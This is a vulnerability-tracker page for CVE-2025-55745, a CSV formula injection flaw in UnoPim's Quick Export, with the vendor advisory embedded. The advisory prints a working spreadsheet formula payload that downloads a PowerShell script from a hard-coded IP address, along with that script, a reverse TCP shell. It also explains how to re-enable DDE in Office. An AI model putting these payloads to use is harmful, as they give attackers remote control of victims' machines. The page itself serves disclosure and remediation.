CVE-2025-55745
highpriority · track · 35EPSS 0.006 · 50 %ileEUUSEPSS · scored 2026-10-27
UnoPim is an open-source Product Information Management (PIM) system built on the Laravel framework. Versions 0.3.0 and prior are vulnerable to CSV injection, also known as formula injection, in the Quick Export feature. This vulnerability allows attackers to inject malicious content into exported CSV files. When the CSV file is opened in spreadsheet applications such as Microsoft Excel, the malicious input may be interpreted as a formula or command, potentially resulting in the execution of arbitrary code on the victim's device. Successful exploitation can lead to remote code execution, including the establishment of a reverse shell. Users are advised to upgrade to version 0.3.1 or later.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · low–high · 1.4–8.8
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (3)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-74rg-6f92-g6wxUnoPim has CSV Injection on Quick Export feature2025-08-22ghsa · osvUS
### Summary Description: `CSV Injection` or `Formula Injection` is a security vulnerability that occurs when malicious content is inserted into a CSV (Comma-Separated Values) file, which is then opened in a spreadsheet application like Microsoft Excel. This attack exploits the way spreadsheet software automatically interprets certain text patterns as formulas or commands, rather than plain text. ### Details A basic test for CSV Injection is using `SUM()` to add two numbers or open calc.exe using command: `=cmd|' /C calc'!A0` The same method can be used to run arbitrary code on the victim's machine. For example the below code will download and execute a malicious script to create a reverse TCP connection to the attacker's machine. *Payload*: > This is our payload and will be used in the vulnerable field during exploitation ``` =cmd|' /C powershell Invoke-WebRequest "http://52.172.182.242:7000/shell.ps1" -OutFile "$env:Temp\shell.ps1"; powershell -ExecutionPolicy Bypass -File "$env:Temp\shell.ps1"'!A1 ``` *shell.ps1*: ``` $client = New-Object System.Net.Sockets.TCPClient('52.172.182.242',8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` ### PoC: 1. Go to any product and click on Edit 2. Add the above discussed payload in any field that accept text for e.g. Product Number field. 3. Quick Export -> Select CSV, Open the csv, the formula will get executed during opening. > This could be injected by admin or any user that has privilege to edit products. > Also the CSRF Injection reported at product edit feature can be used as an attack vector to add such payloads. Please note that if this is replicated on version starting from Office 2021: Follow these steps: Go to `File > Options > Trust Center > Trust Center Settings > External Content -> Enable Dynamic Data Exchange Server Launch"`. This is due to Office 2021 and Microsoft 365 have DDE disabled by default for enhanced security. Platform Details: Replicated this on Office 2021 on Windows 11. POC video link: https://drive.proton.me/urls/3TP1QEMXNC#2PAy7OkVqdP3 ### Impact When the victim opens the CSV, the injected formula which fetches a reverse shell script written in Powershell from attacker's server and executes it. This creates a reverse shell connection from victim's device to attacker's allowing an attacker to perform any action on the victim's device. ### Recommendation: - Avoid starting values with Equals sign (=), Plus sign (+), Minus sign (-), At symbol (@), Tab (0x09), Carriage return (0x0D). - Sanitize the vulnerable field using regex or standard libraries. - Wrap the value around double quotes for fields that cannot be sanitized for some reason so that the value is considered as string instead of formula.
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (9)
External citations — patches, advisories, analysis.
- https://access.redhat.com/security/cve/cve-2025-55745cnnvd
- https://github.com/unopim/unopim/commit/b25db9496fc147842a519d1dd42ec03c3bf00a34cnnvd
- https://github.com/unopim/unopim/security/advisories/GHSA-74rg-6f92-g6wxcnnvd
- https://nvd.nist.gov/vuln/detail/CVE-2025-55745cnnvd
- https://unopim.com/download/Patchcnnvd
- https://github.com/unopim/unopim/commit/b25db9496fc147842a519d1dd42ec03c3bf00a34enisa_euvd
- https://github.com/unopim/unopim/security/advisories/GHSA-74rg-6f92-g6wxenisa_euvd
- https://github.com/unopim/unopim/commit/b25db9496fc147842a519d1dd42ec03c3bf00a34Patchnvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan